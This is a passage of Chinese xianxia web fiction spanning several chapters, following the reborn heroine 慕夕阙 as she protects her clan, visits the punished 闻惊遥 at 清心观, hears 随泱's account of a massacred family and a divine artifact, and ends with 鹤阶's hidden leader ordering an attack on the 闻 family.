他看着这个眉头紧拧,满脸怒色的父亲,以及欲言又止的母亲,淡然移开视线,落在竹架上横列的尸身上。 闻惊遥低声道:“我没忘,只是不知道自己一直守着的,闻家传授于我的,到底是不是对的?” 闻承禺皱紧眉头,想到什么,忽然看向他身侧的慕夕阙。 慕夕阙好似事不关己,从头到尾都在盯着那几具尸身看,觉察到闻承禺的目光,抬眸与他对视,礼貌一笑,挑不出任何毛病。 闻承禺面无表情看着她,对视片刻,他收回目光:“你变了,我看兴许是近来有些过分随心了,家规不守也就罢了,如今连十三州律规都不顾了。” 闻惊遥默然不语,那几具尸身脖颈上的伤痕残忍又触目惊心,他看在眼里,只觉得刺目。 闻承禺沉声道:“去清心观,你知道该干什么。” 庄漪禾叹了一声,无奈看了眼闻惊遥,也并未说什么。 闻惊遥默了瞬,拱手行礼:“是。” 他看向慕夕阙,她冲他笑笑,用仅由两人听到的声音说:“没事的,我信你啊,我去偷偷给你送饭。” 闻惊遥看了她一会儿,末了垂下头,说道:“好。” 他从她身侧离开,从幽冷森严的议事堂,走向另一个更寒意刺骨的地方。 议事堂内便只剩他们几个人。 见局面有些僵,朝蕴出来平缓,说道:“孩子大了,有点自己的想法,也别这般凶。” “朝家主说得是。”闻承禺不欲再谈及这个话题,说道,“此次唤慕家前来,也是想告知慕家,有个这样的人如今在十三州。” 他说到这里顿了一下,又道:“如今她身份不知,目的不明,心肠又狠,不像是个善茬,慕家也请小心为好。” 朝蕴连连应道:“那是自然,回去我便加强淞溪戒备。” “慕二小姐见多识广,可曾见过这种功法?”冷不丁的,闻承禺问向慕夕阙。 见几双眼睛看过来,慕夕阙笑了笑,说道:“我入世尚不足几年,十岁前几乎被我娘扣在淞溪了,又如何能见过?不过诚如闻家主所说的,这人可不是善茬,心肠这么狠,还是请闻家也小心为好。” 庄漪禾应道:“小夕多心了,那是自然。” 见闻承禺不说话,她用胳膊肘捅了捅他:“你回话啊。” 闻承禺淡淡移开视线:“劳慕二小姐忧心了。” 两刻钟后,闻家长老们皆应邀而来,外人——也就是慕家人便先行告退。 朝蕴走在最前,慕夕阙和蔺九尘一左一右跟在她身后一步远的位置,从议事堂出来后,朝蕴便不再是那般和气好说话的模样了,她神情严肃,面容冷沉。 “闻家家规严,对少主更是管教森严,闻家主那些话你们也不必放在心里,我们都知道鹤阶的人不是什么好东西,如今那人既然是冲着鹤阶去的,想必是和他们有仇,仇人之敌,便是你我之盟友。” 朝蕴停下,回头看向蔺九尘和慕夕阙,又道:“最近事情太多,像是背后有把手在推动这一切,但目前看来,发生的这些事对慕家是有益的。” 既除了鹤阶的人,那便是为慕家除了大麻烦。 朝蕴叹了口气,柳眉微拧:“只是不知道,那人会不会扭头对我们慕家不利。” 她如此忧心,蔺九尘张了张嘴,余光看到一旁的慕夕阙,又生生咽回去,低声回道:“师娘,您放心,我会守好慕家的。” 朝蕴看着他,又低叹了声,抬手拍拍蔺九尘的肩膀:“你也才二十来岁,我和慕家长老们还没死,哪能让你们这些小辈顶在前头啊,待日后去到地下,你师父还不得凶我。” 蔺九尘低下头,并未说话。 朝蕴又看向一旁沉默不语的慕夕阙,走过去,抬手抚摸她的脸颊:“小夕今日真好看,这衣裳也衬你,瞧着不像从淞溪带来的。” 离得这般近,慕夕阙看到她的眼底浓重的自豪和欣赏。 她握住朝蕴的手腕,将侧脸贴在她的掌心,笑盈盈说:“因为我阿娘好看,我才生得好看。” 朝蕴笑起来,戳戳她的额头:“你最近说话越来越好听了,也听话了不少。” 慕夕阙对着她多了些少女的俏皮,闻言回道:“以前不懂事,以后都会听话的,再跟您吵架我是小狗。” 略显稚气的话将朝蕴和蔺九尘逗笑,从议事堂出来的沉重和压抑一扫而空。 慕夕阙看着朝蕴的笑靥,感受她的掌心贴在自己的脸侧,闻到她身上属于母亲的气息,重生的这几日来她便没歇过,日夜在想对策保全慕家。 很累很累,身上的伤便没好过。 可如今,她一点也不觉得累了。 失去母亲后的那一百年里,她才逐渐读懂一个早早失去夫君,只能独自撑起整个慕家,顶着外面豺狼虎豹之徒的母亲,对孩子想要保护,却又必须尽快让她成长起来,只能咬牙对之狠厉的无奈。 过去的慕夕阙总觉得朝蕴偏心,对姐姐全是疼爱,对她却严厉教习。 后来细想,长姐被母亲亲手断了灵根,只能以凡人之躯天人五衰,而她自小天赋出众被鹤阶忌惮,日后还要顶起整个淞溪慕家。 朝蕴只能在长女仅有的一百年里多疼她一些,弥补她一些。 也必须在自己还活着的时候,尽快让二女成长起来,成长到可以保护自己、保护淞溪的地步。 其实朝蕴没错。 慕夕阙握着朝蕴的手,听朝蕴在跟蔺九尘打趣她近来越来越黏母亲了,就这么听着,她身上的伤也不再疼痛,对未来的路更加坚定。 不管这条路有多难走,要死多少人,纵使满手杀业,日后业报还身,她也得护住淞溪慕家的一万七千八百余人- 雾璋山上林雾弥散,终年森冷,这座向东西两侧延绵千里的山护佑整个东浔主城。 清心观便坐落于雾璋山的山顶,常年覆雪。 万初打完最后一鞭,收起带血的藤条,叹了口气:“你当众放走疑犯,你爹不打你也不成规矩。” 闻惊遥披上青衫,面无血色,缓慢站起身,低头束着腰封,低声道:“万长老,我做错了吗?” 万初看了眼少年高束的马尾下压着的、那些抓在闻少主后颈的伤,叹声说道:“于闻家家规,你婚前失态,罔顾清规,不敬祖训,还口出妄言,该打。” “于十三州律规,你私放嫌犯,等于为虎作伥,也该打。” 闻惊遥顿住,长睫半垂,看着地上堆积的霜雪。 他在这里生活了十年,四岁入清心观,每年只能外出三次,所有的家规和修行都是万初教他的。 万初放下藤条,步履略显蹒跚朝房檐下走去,拿起扫帚清扫地上染血的白雪,边扫边说:“你可知道我为何居于闻家清心观,终年在这雾璋山顶,守着一个个闻家嫡传弟子?” 万初在闻家待了不知道多少年了,他的年岁至今无人知晓,闻家嫡传的每个弟子都会送来清心观,包括闻承禺幼时也在这里待了十年,万初教习了无数闻家嫡传弟子,是闻家多任家主的师父。 闻惊遥也拿了个扫帚,与他一起清扫院里落下的雪,轻声说道:“弟子不知。” 万初笑着说:“我十五岁就入了元婴境,虽比不上你这般天赋出众,但也是万里挑一,我爹娘只是个寻常修士,快百岁了也才刚入金丹。人家都说我天纵奇才,那时候我多狂啊,我去参加了北境那一年的论道大会,力压所有世家子弟,一举夺冠。” 闻惊遥并未说话,和他一起扫雪,从这头扫到那头,这是他干了十年的活。 “一个不知道从哪里冒出来的小修士,竟然敢打那些世家弟子的脸,我那时也不知道收敛。” 万初还在扫雪,脸上皱纹遍布,头发早已花白,在这一片茫茫雪域中,他若不穿那身黑衣,怕是能和这雪融为一体。 “然后一月后,我在外狂完回到家,我爹娘,我有孕在身的阿姐,以及我的姐夫,还有我的小外甥,全都死了,尸身都臭了。” 闻惊遥顿住,抬眸看去。 万初低着头,将雪扫在一堆,提及这些事,他也并无伤心模样,闻惊遥不知道这是已过去太久而淡忘,还是愧疚到极致已无法做出其它表情。 他从未听万初说过这些事。 闻惊遥低声问:“那之后呢?” 万初说:“我查了五年,查到了是谁干的,提刀将仇家杀了个干净,惹了那些人背后的家族,被追杀了许多年,直到最后遇到闻家……嗯,应是你祖父的祖父了,他救下我,我便为了报恩,留在了你们闻家,替你们守着这座山,守着闻家主宅。” “我曾将所有错推在我自己身上,别人也都说是我害了家人,都是我的错,我收起所有轻狂。但现在想想,少年时的我有什么错呢,我只是修为高,只是不知何为世家的脸面,只是不知赢不一定是件好事。” 往事太过沉重,偏偏他用最轻快的语气说出来。 闻惊遥安安静静看着他。 万初直起腰,活动活动筋骨,吆喝道:“活了太久了,这一把老骨头都松了,扫个雪怪累的。” 闻惊遥道:“弟子来扫便可。” 万初笑着看他:“我跟你说这些可不是忽悠你来给我扫地的,是想告诉你啊,有些事你觉得是对,那便不要听他人怎么说,不诱于誉,不恐于诽,少年人嘛,有点轻狂也正常。” “老实说你们闻家那些家规,早该丢喽,要不是你祖父的祖父救了我,我才不教你们这些小娃娃学这些东西,成天坐在学堂的不一定是好孩子,撒欢跑的也不一定就是顽劣稚童,管那么严干什么。” 万初大笑两声,蹒跚走过去,拍拍闻惊遥肩上的雪,说道:“你这小娃娃也快成亲了,日后就是有家的人了,若日后还有孩子,你会让它过这样的日子吗?” 闻惊遥眉心微蹙,他没想过这么远的事情。 万初一看他这样子便猜到,他啧了一声,说道:“恐怕慕二小姐是绝不会让你们的娃娃进清心观的。” 闻惊遥低头,并未说话。 他仔细想着,于他而言早已习惯的地方,若日后有血脉,他会送它来这里锻体塑心,参悟道心吗? 那慕夕阙怕是要提刀劈了他。 闻惊遥忽然笑了下,只是一瞬,转眼反应过来,又收敛笑容。 万初啧啧咂舌,极其震惊:“哎呦你还会笑呢,我教你十年也没见你笑过,这么喜欢你那未过门的未婚妻?” 说到这里他又反应过来,若非喜欢,以闻惊遥这性子,又怎会婚前失态,悖逆家规? 万初笑呵呵道:“喜欢就好,喜欢一个人,你以后会有勇气做许多事情的。” 他年岁太大了,腰背佝偻,比闻惊遥低了半头多,和一个年岁不足自己零头的少年并肩而立,看着雾璋山下薄雾笼罩的闻家主宅,以及偌大的东浔主城。 万初说:“天地乾坤由奸佞之辈把持,你们要走的路并不容易,两个人同行,总比一个人独闯要好,你若认为是对,那就去做,你若喜欢一个人,那就努力去争、去守。” “什么都守不住得不到,痛苦难忍,生不如死。” 闻惊遥看着雾璋山下的闻家主宅,从这里看去,那占地千亩的主宅浓缩成一片树叶大小的黑影,他不知道慕夕阙如今是在议事堂,还是在画墨阁。 慕夕阙说他变了,闻承禺也说他变了。 他低下头,看着自己腰侧的青剑,剑柄上悬的燕尔玉剔透盈翠。 可若是不变,他什么都守不住。 她想他是什么样子,那他便是什么样子。 她不喜欢死板固执的闻少主,那他便做她喜欢的样子。 其它的都无所谓了,他可以蒙上自己的眼睛,堵住自己的耳朵,欺骗他自己,能被她利用,也是他的求之不得。 作者有话说:小闻你以后就抱着这个觉悟好好追妻[抱拳] 阴湿小闻加载中。 今天在修文,来晚了,发个红包 第33章 第 33 章 生变 慕家于申时正整顿完毕, 准备返程。 一行人送至东浔主城城门,朝蕴和闻家的主事告别完,走过来, 看着慕夕阙。 双目相对,有些话都在眼睛里了, 朝蕴牵起她的手拍了拍:“日后你与惊遥是道侣, 应相互扶持,你既要留下帮闻家,阿娘自是同意的, 但也得保护好自己,莫要让慕家忧心。” “您放心。” 慕夕阙抬手覆在朝蕴的手背,凑过去抱着朝蕴, 脑袋贴在她的颈窝, 瞧着像是对母亲撒娇般。 “阿娘, 此次返程, 鹤阶怕派了暗桩弟子跟着灵舟, 灵舟上打了闻家灵印,他们不敢动手。” 慕夕阙压低声音,轻飘飘说:“盈虚已带着徐无咎等在中途, 我已告知师兄位置,你们路过时想办法让我师兄下灵舟, 让阿榆施阵掩护我师兄避开鹤阶暗桩, 她知道该怎么做,接着您带着弟子继续返程, 由我师兄带徐无咎独自回淞溪,兵分两路。” 朝蕴身子一僵,微微侧脸看她。 慕夕阙笑盈盈靠在她肩头, 说道:“阿娘,我就待几天就回去了,您别担心。” 朝蕴当了这些年家主,纵使心中再波澜,也能做到应变如常,抬手摸摸慕夕阙的发髻。 “阿* 娘和师兄师妹在淞溪等你,照顾好自己。” “好。” 目送朝蕴带着慕家弟子们登上灵舟,最终驶离东浔主城,消失在天际,慕夕阙收回目光,刚一转身,瞧见身后不远处的闻承禺正看着她。 慕夕阙牵出笑,礼貌颔首:“闻家主,庄夫人,闻少主身上还有旧伤,我有些不放心,可否去清心观看看他?” 闻承禺并未说话,安静看着她,目光看不出审视。 庄漪禾本就忧心闻惊遥,见闻承禺不开口,说道:“那便劳烦小夕了,惊遥前些时日去幽州之时被化祟的任前辈重伤,这些时日身上又伤了不少,还请小夕多看看他。” 慕夕阙轻轻颔首,说道:“您客气了,应该的。” 她说完,又看向闻承禺:“闻家主,我便先告辞了。” 闻承禺没说话,一言不发。 待慕夕阙离开,庄漪禾陡然用胳膊肘捅了下闻承禺,瞪着他说道:“那是惊遥未来的道侣,日后的闻家家主夫人,你便是为了孩子好,也得给人家几分薄面吧,总是冷冷淡淡像什么样子?” “他们不过联姻罢了。”闻承禺淡声开口,看向庄漪禾,“只要双方尚能给彼此利益,这桩婚事便不会作废。” 庄漪禾愣了下,柳眉微拧:“那你看不出来惊遥喜欢慕二小姐?当父亲的,总得为孩子着想吧,你对慕二小姐这般态度,让惊遥如何处事?” “他是闻家未来的家主,不需要对任何人逢迎,只需当好这个家主便可。”闻承禺看她一眼,转身便走。 庄漪禾在原地停留,交握在身前的手无声攥紧,身后的闻家弟子不敢说话,皆都缄默不语,低头不观。 闻承禺走出几步远,忽然听到身后急促的脚步声,他站定,接着一人绕到他身前,往日总是端庄温和的脸上如今罕见有些愠色。 庄漪禾看着他,冷声道:“惊遥是闻家嫡传唯一的血脉,你对他幼时苛刻我都可忍,送去清心观耐霜熬寒,我也能忍。但如今他受着重伤,你将他丢去清心观受刑,可曾对孩子有过半分心疼?” 闻承禺低头看她:“他犯了错,赏罚不信,禁令不行。” “就算要罚,为何不等他伤好后再罚?何况你明知鹤阶的人不是什么好东西,那应祈你不也早便怀疑了,还有闻时烨,你难道不知他勾结外贼,你就守着你们闻家的规矩——” “夫人。”闻承禺开口打断,看着面色怫然的庄漪禾,“他日后要担起的是整个东浔,他不能犯错。” 庄漪禾怒极反笑,看着他,这个成婚多年,却仍相敬如宾的夫君,她点了点头,说道:“对,你说得对,你们闻家的人不需要有心,只需要守好自己的职责便可。” “别说你这个连见面都不多的孩子了,怕是哪日与你日日相处的我死在你面前,你也能面不改色处理后事,然后第二日继续当你这个闻家家主。” 她看了他一眼,转身离开。 闻承禺负手站至原地,看她的身影逐渐远去,直至消失在拐角。 过了会儿,闻承禺眨了眨眼,对身后弟子说道:“走吧,去闻家学宫。” “是。” 弟子们跟上,闻承禺朝和庄漪禾背离的方向离开。 这安静祥和的东浔主城,似乎也不再平静- 慕夕阙并未直接去清心观。 回到画墨阁后,她熟练翻上后山,绕出闻家主宅,抄小路穿过闻家玉灵出了城。 抵达慕家暗桩时已是半个时辰后,慕夕阙匆匆往厢房内走。 守在门口的弟子见到她,拱手道:“二小姐。” 慕夕阙问:“他醒了吗?” 弟子回道:“方醒,随公子气息已稳定不少。” 慕夕阙直接推门而入,屋内尚有些血气。 随泱脸色苍白,靠坐在榻上,那身叮呤咣啷的金饰和一身染血的金服已被慕家弟子脱去,整齐搁置在桌上,他穿着身干净的黑色里衣,应是弟子帮忙换的。 见她进来,随泱笑了笑,摇摇头:“万万没想到,救我一命的竟然是慕二小姐,当时乱扯鸳鸯是我不对,我弟那傻子可只会拖累二小姐。” 慕家弟子关上门,慕夕阙朝他走去,顺手拖了一把木椅,坐在随泱榻边两步远处。 她目不转睛看着随泱,并不说话。 “二小姐,你不会……”被她这么盯着,随泱往床榻里面缩了缩,一脸惊恐,“看上我了吧?” 说完,不等慕夕阙回答,他喋喋不休一口气道:“虽然我龙眉凤目英姿勃发面如冠玉相貌堂堂,腰缠万贯修为高深人也聪慧简直完美,这辈子最大的遗憾就是亲不到自己这张帅脸,但是我也绝不会插足别人的感情的!” 慕夕阙面无表情问:“那你还帮你阿弟撬闻家的墙角?” 随泱反驳:“那我阿弟不一样啊,他没什么骨气和原则的,威武就能屈。” 慕夕阙嗤了一声:“我瞧着你阿弟比你有骨气多了。” 随泱颇不赞同:“欸,那我年轻时候可比他有骨气多了。” 慕夕阙没见过他年轻时候,自打认识随泱时,他便是这幅不着调的纨绔模样。 她今日不是来找他说这些话的,玩笑归玩笑,正事还是要谈的。 慕夕阙双手环胸,脊背靠着木椅,问道:“说说吧,你跟我说的那句话什么意思?” 随泱该正经时候还是颇为正经的,叹了一口气,身上毒素还未清,靠在床头问道:“慕二小姐,在下想问问,我阿弟如今怎样?” 慕夕阙淡声道:“他很好,就在慕家暗桩,双腿被鹤阶打断了,但不严重,我慕家弟子已为他接骨疗伤,养些时日便能走了。” 随泱皱眉,眸光阴沉:“若有机会,我定要取了白贼的命。” 他知晓,慕夕阙既然已救出随安,那季观澜想必已死在她手上,便不需要算上他的性命了。 慕夕阙并未说话,只安静看着随泱,在等他开口。 随泱沉默片刻,看向慕夕阙:“我不知你为何救我,但能觉察出你对我并无坏心,因此才信任你,将那件事告诉了你。” 他顿了顿,说道:“二小姐可知道十三年前,灵翠谷陈家灭门一事?” 慕夕阙道:“嗯,有所耳闻。” “灵翠谷陈家并不兴盛,全家不过几百人,之前在十三州甚至鲜少有人听过他们的名号,但约莫三十年前,西境论道大会上,陈家少主一举夺冠,此后连胜几年,这小门小派便靠着一个天才发了家,逐渐扬名。” 慕夕阙点点头,这些事她前世剿灭千机宗时也早已知晓,彼时千机宗少主总被陈家少主压一头。 随泱接着道:“论道大会是许多世家子弟借此扬名的好时机,小门派们为了面子也会让让那些兴旺家族的世家子弟,毕竟几百年前也出过一件事……你或许不知吧,一个从来没听过名号的少年,在那一年的北境论道大会压了所有世家弟子,但也因此招致奸佞,爹娘和姐姐姐夫,以及小外甥尽数被杀。” 慕夕阙目无波澜,这些世家什么模样她最是清楚不过,天才出生于慕家这样的千年望族尚被算计,更何况那些小门小派,谁人都想趁其尚未真正成长,将其扼杀于摇篮。 随泱见她不说话,便自顾自说:“但这陈家也不知是太过直爽,还是根本不怕事,那陈家少主连胜几年,过了没几年,陈家一夜尽灭,外人都传是陈家少主在外太过猖狂惹了仇家,才因此招致满门尽灭。” “并非如此,是吗?”慕夕阙看着他反问,“陈家那时已在十三州扬名,门生应当也比之前更兴旺些,十三州的世家也不是傻子,没必要为了一个论道大会这点小仇去灭一个上下千人的门派,不仅要自损兵力,恐怕还会因此招致十三州其余清正世家的共同讨伐。” 一个家里只有几口人,灭门轻而易举。 一个是举宗有近千人的门派,灭门不仅造杀业,还极易招致祸患。 这两人的经历听着像,实则根本不是一回事。 随泱颔首,面容冷沉:“是,陈家少主之所以参加论道大会,并非图名气,而是想借名气保全陈家,在未扬名之前,陈家上下只有不到百人,已经被鹤阶盯上,因此陈少主才去参加了论道大会。” 慕夕阙淡声接话:“可他没想到,那背后的人竟如此心狠手辣,不怕业报,蛰伏几年静待时机,等陈家放松警惕,一口咬上。” “二小姐聪慧。”随泱浅笑了下,淡声回应,“我父亲和陈家主是至交好友,陈家灭门那日他收到求救讯息孤身前去救援,可那时陈家已遭不测,凶手离开,陈家主撑着一口气将藏起的三子交于我父亲,并将那木盒给了我父亲保管,请他去敲通天鼓告知十三州真相。” 慕夕阙拧眉:“之后呢?” 随泱面无表情道:“鹤阶在追杀陈咎,十三州遍布鹤阶势力,我父亲只能将他送上去往海外仙岛的灵舟保全性命,接着拿上那木盒试图去敲通天鼓,但同样就如我一开始说的话,鹤阶在十三州无处不在。” “他们在去往望天台的路上设陷,半路截杀我父亲,我父亲撕破围杀,带着我和阿弟东躲西藏逃了几年,直到五年前我父亲离世,将那木盒交给了我,我盘下桃花阁,化身桃花阁阁主,照顾我阿弟长大。” 这些事上辈子随泱从未告知过慕夕阙。 如果按照这辈子的事情经过,慕夕阙大致能猜出,那一夜无人去救随安,随安瞧见应祈被鹤阶折磨,为了救友告知了木盒在何处。 鹤阶拿到木盒,自然杀了随安,兴许也要杀随泱,但他修为高,撕破围杀不是难事。 随泱逃至海外仙岛隐忍蛰伏,直到和她一起返回十三州,可他没有木盒,没有证据,无法证明天罡篆不是鹤阶的东西,他那时一心复仇,只想杀了应祈,杀了鹤阶所有人。 慕夕阙忽然凑近,隔着一步远的距离,盯着随泱的眼眸,一字一句问:“为何说天罡篆不是鹤阶的东西?” 随泱并不避讳,直视她道:“慕二小姐可知晓两个神器是如何出现的吗?” 慕夕阙道:“不知,《十三州史》并未记载这些。” 随泱笑着回她:“那我可听说了些小道消息,万年前灾厄降世,秽毒出现,生灵涂炭之际,据说有两人除祟时取到一块阴阳神石,一分为二,打出了两个神器,你猜那两人是谁?” 两人对视片刻,慕夕阙眉梢微挑,说道:“慕家的创宗老祖,以及鹤阶那时的家主?” “确有一人是你们慕家的创宗老祖,但另一人可并不是鹤阶的家主。”随泱说道,“而是陈家的老祖,不过也称不上老祖,陈家那时候只有几个人,从那件事后,陈家夫人便带着孩子消失在十三州了。” 话都说到这里了,慕夕阙点点头,也明白了。 “鹤阶赶在陈家主宣告十三州前抢占先机,杀人夺宝。”慕夕阙又坐回去,淡声问道,“那我慕家老祖为何不告知世人,取得神器的另一人并非鹤阶家主?” 随泱看着她,耸了耸肩,说道:“那就得问你们慕家了,到底有什么苦衷,无视挚友的死,看着一个宵小之辈借着天罡篆如日中天?” 慕夕阙也不知晓缘由,慕家族史关于第一任家主的记载只有短短几句话,只说是个女子,修为极高,天赋卓群,经商有道,十二辰认她为主,且之后十二辰只认慕家血脉为主。 而天罡篆则不同,择强为主,谁能打赢器灵,谁就是它的主人。 既然出自同一块神石,为何择主的方式还不同? 屋内气氛略显压抑,慕夕阙沉思的时候便阴沉沉的,也不说话,长睫垂下不知道在想些什么。 随泱性子活络,实在受不住,又出来接话:“我知道的都说了,总之就是这些事,去年应祈来桃花阁喝酒,我阿弟结识了应祈,随安自小被我关在桃花阁内也没什么朋友,我便随着他们交友了,想必那时鹤阶便已经查到我们的踪迹了。” 应祈便是他们派去做探子的。 慕夕阙点点头,示意自己知晓了,她站起身看着随泱:“你身上的毒已被我排出八成,其余两成你自己运功便能清理,随安在最东侧的厢房,想去见面可以去。” 她说完转身便要走,还未走到门口,随泱叫住她。 “慕二小姐。” 慕夕阙停下,并未回头。 随泱唇瓣抿了抿,还是问出口:“你到底为何要救我们?” 慕夕阙回头看着他,说道:“你是个好人。” 随泱:“……啊?” 他千想万想也没想到慕夕阙会说这话,他说话做事都像是个纨绔,哪里瞧着像好人了,何况他与慕二小姐在此之前只见过一面,他还算计了人家。 可慕夕阙转身就走,看都不看他。 出了慕家暗桩后,慕夕阙看着弟子关上暗桩大门,如今日头快落山了,余霞落在她身上,将那一身红色鲛绡和满头金饰映衬的熠熠生辉。 她看着紧闭的暗桩大门,想着,其实她上辈子也不算什么都没落到。 纵使未婚夫拔刀相向,挚友落井下石,但总归结识了那么几个真心的朋友。 师盈虚胆子那么小的一个人都敢随她跳崖,几个不算很熟的朋友冒着被鹤阶追杀的风险也拉过她几把。 在海外仙岛遇到随泱,他带她认识了很多能人异士,学到很多保命的东西,最后还为了她将命丢了,而她上辈子到死都没能找到应祈,帮他报他死不瞑目的仇,欠他实在太多。 仔细想想,在那苦得暗无天日的百年里,还是有那么几分支撑她走下去的情谊。 慕夕阙向来有仇报仇,有恩报恩。 仇人一个都不能活,挚友也一个都不能死- 从慕家暗桩离开后,慕夕阙直接回了闻家,登上雾璋山。 这山极高,越往上走越冷,且湿气很重,她往上走的时候心里感慨,怪不得闻惊遥能成大事呢,这等苦都能吃,还一吃就是十年,他不成功谁成功? 看到雪的时候,慕夕阙罕见懵了一瞬,这雾璋山竟能高到常年覆雪的地步。 她站在清心观门外,还未敲门,里头的人便开了门。 万初佝偻着脊背,笑盈盈看着她:“慕二小姐,来看闻少主?” 慕夕阙听过清心观观主的名字,闻惊遥先前向她说过。 她拱手行礼:“见过万长老。” 万初打开门,抬手做请:“请进。” 慕夕阙跟着他走进去,清心观并不大,院里的雪已被扫开,留下一条无雪的通路,她跟着蹒跚的万初一路往里走。 万初边走边说:“我从未见过二小姐,但听少主提及过许多次,他每年只能外出三次,次次都会去见你,回来后我问他这次去和二小姐游玩了吗,他有时说和二小姐出去摸鱼摘果子了,有时说你们打了几日比试过招。” 慕夕阙一言不发听他说话,这些往事她都快忘了。 万初想到有趣的事情,扭头笑着说:“有一次他顶着一身伤回来,我问他谁打的,你猜他说什么?” 八岁的闻惊遥还是个粉雕玉琢的冷脸小团子,穿着一身破破烂烂的青衫跪坐在蒲团前,一板一眼说道:“慕二小姐打的,我们还是平手,谁都没输,但我觉得不出五年,我就打不过她了。” 小团子顿了顿,又说:“我没打伤她,她爱美,留疤了会不开心。” 慕夕阙顿住,恍惚间似乎也想起了这件事。 那几年的童年生活,除去总跟朝蕴闹脾气外,于她而言是块蜜糖,足以回味许久,只是那些年太苦了,她无暇去想这些事,对闻惊遥的痛恨也让她刻意忘却和他的一切过往。 仔细想想,似乎闻惊遥和她打架,从来没真的下狠手,而慕夕阙打上瘾了谁都敢揍,慕家的每个长老,以及燕如珩和闻惊遥她都揍过,没少被朝蕴抡棍子满山打,给人家道歉都不知道送了多少礼。 “不过你们现在长大了,应当也不会再像小时候那般胡闹了。”万初笑了笑,推开竹院的门,“二小姐,少主在里面。” 说罢,他不欲打扰他们二人的相处,转身便迈着缓慢的步子离开。 慕夕阙迈入院内,沿着扫干净的雪路走去,穿过了片竹林,看到跪在一堆牌位前的闻惊遥。 听到声音,闻惊遥却并未起身,按闻家的家规,他必须跪满三日,中间不得因任何事起身。 慕夕阙走过去,来到他身侧,毫不在乎形象地捞起一旁的蒲团坐在他身侧,看了眼面前古树下供奉的几十块牌位,说道:“你们闻家牌位竟然供在清心观?” “嗯,闻家每一任家主都得在清心观塑心明道,死后也会供于此处,魂灵继续庇佑东浔。” 闻惊遥轻声回答,仍端身跪着,却抬手替她将铺在雪地的裙摆抬起来,仔仔细细放在草藤编织的蒲团上。 慕夕阙看了眼他,闻惊遥脸色有些白,但他向来能忍,再疼再苦也不会露出异样。 “伤疼吗?” “不疼,已服了药,无事。” 慕夕阙仰起头,看着闻家的牌位:“闻家向来持正不阿,立身行道,你说这些家主若知晓日后闻家会出叛贼,心里如何想?” 闻惊遥也仰头,望向那些牌位,一个牌位代表一个死去的闻家家主,日后待他死后,牌位也会供在上面。 “无论哪一任家主,做的选择都会一样,小人见利而智昏,行悖逆不轨之事,那么有罪定罪,当杀便杀。” 慕夕阙笑了笑,没再说话,安安静静坐在他身侧,树上偶尔落下的雪披在他们身上,落在两人的黑发上,逐渐消融。 她陪他一直坐到夜幕,戌时三刻,闻惊遥腰间的玉符亮了。 少年怔愣了瞬,见慕夕阙也看过来,他不再迟疑,拾起玉符接通。 来信之人是庄漪禾。 庄漪禾那端十分嘈杂,她一向温和的声音也罕见阴沉冷冽。 “惊遥,时局有变,立马下山,送慕二小姐离开东浔。” 作者有话说:要搞大事情了,揭个前世的大伏笔[撒花] 给大家跪个键盘,又来晚了,今天再发个红包~ 第34章 第 34 章 并肩 得知那人亲至后, 白望舟再顾不得被挑断的脚筋还未完全接好,推开搀扶的鹤阶弟子,忍痛走进去, 拱手行礼。 “不知主子亲至,属下失礼。” 他不敢抬头, 主座上的人坐于阴影处, 因他不喜光亮,因此只要他在,无人敢点灯, 不论是在鹤阶议事堂,还是在暗桩,所有灯都必须灭掉。 白望舟听到他饮茶的声音, 杯盖撇去茶沫发出玎珰之声, 可他不开口, 白望舟也不敢就坐, 脚踝疼痛难忍。 忍得额头上冷汗岑岑, 终于听到那人开口。 “坐吧。” 白望舟无声松了口气,赶忙道:“是。” 他在一旁就坐,一扇屏风隔绝视线, 这位鹤阶之主太过神秘,这么多年来都无人见过他的模样, 便是没有那屏风, 白望舟也不敢睁眼瞧他。 鹤阶之主并不说话,只淡然品饮那盏茶。 白望舟也自是噤声, 他已至化神境,修为在十三州已属于绝顶那一列,能打得过他的人寥寥无几, 便是和闻承禺都能打个平手,可在这位神秘的主子面前,却仍能明显觉察出修为的压制。 白望舟擦了擦额上的汗,心下琢磨,恐怕这人已经入了大乘,甚至更高。 “蔺九尘还活着,周云姝也没死,两次算计都落了空,不仅没除去慕家看守结界玉灵的大弟子,还没找到可以讨伐慕闻两家的缘由。” 清清淡淡的声音传来,那声音听起来格外年轻。 白望舟赶忙起身跪地,双手拱起,低下头说:“是属下的错。” “闻时烨、旷悬、应逐、季观澜陆续被杀,随安和随泱被救走,你不觉得你们每一步都走在别人意料之中吗?” 白望舟哑口无言,这些事情太过诡异,就好像他们的计划早已被人知晓了般,为此他彻查了知道此次计划的鹤阶弟子,却一无所获。 参与此次暗谋的弟子都已喂了药,若敢有背刺者定会毒发身亡,也无人敢背叛,那到底为何每一步都有人走在他们前面? 青玉茶盏被搁在桌上,猛然发出的声音让白望舟心头一提,却仍不敢抬头。 “闻家有意要闻惊遥去夺天罡篆,以他的修为力压其余世家子弟并不是难事,天罡篆不能落在他手中,再败一次,你知道后果。” 屏风后的人站起身,走下台阶,高挑的身影逐渐从屏风后现出,白望舟不敢看,只能将头俯得更低,看到那人的黑袍从自己身旁经过,宽大的衣摆拖曳在青砖上,摆上绣了金丝纹路。 他走到白望舟身旁停下。 “慕家背后似乎有人,暂且搁置慕家,经商的门派不足为惧,只靠慕夕阙一个人也成不了什么气候,现在先除闻家,闻承禺似乎不安生了,以及他那个孩子,一并除了。” “这等天才,你再放任几年,是要等他成长起来和他那未婚妻一起肃清鹤阶吗?” 不知他到底何意,闻承禺又哪里招惹他了,为何要搁置更好铲除的慕家,但白望舟不敢有疑,只能恭敬道:“是。” 脚步声逐渐远去,走出鹤阶暗桩。 待笼罩在周围的威压彻底消失后,白望舟长呼一口气,颤颤巍巍扶着膝盖站起身,坐在一旁的木椅上,看着青砖中央方才那人站立的地方。 方才他路过身旁之时,白望舟只盯着青砖,无意间瞧见了砖面上倒映出的那人身影,只匆匆瞥见个下颌,轮廓锐利完美,似乎生了张很不错的脸。 而且很年轻,整个鹤阶都知晓这位主子年岁并不大,有人传他甚至不足百岁。 慕家和闻家那两位少主便已是旷世奇才,十几岁便能修到元婴,虽有勤勉之功,两位少主于修行上付出的心血不少,但如此年轻便位列元婴也与他们的根骨脱不开关系。 可这人不足百岁便能位列大乘,甚至更高。 白望舟眸色微沉,怕是慕夕阙和闻惊遥到这个年纪,也够不到这等成就。 “来人。”白望舟冷声喊道。 门口守着的鹤阶弟子走进:“白长老。” 白望舟沉声道:“传信,先攻闻家,放他们出来。” “是。”- 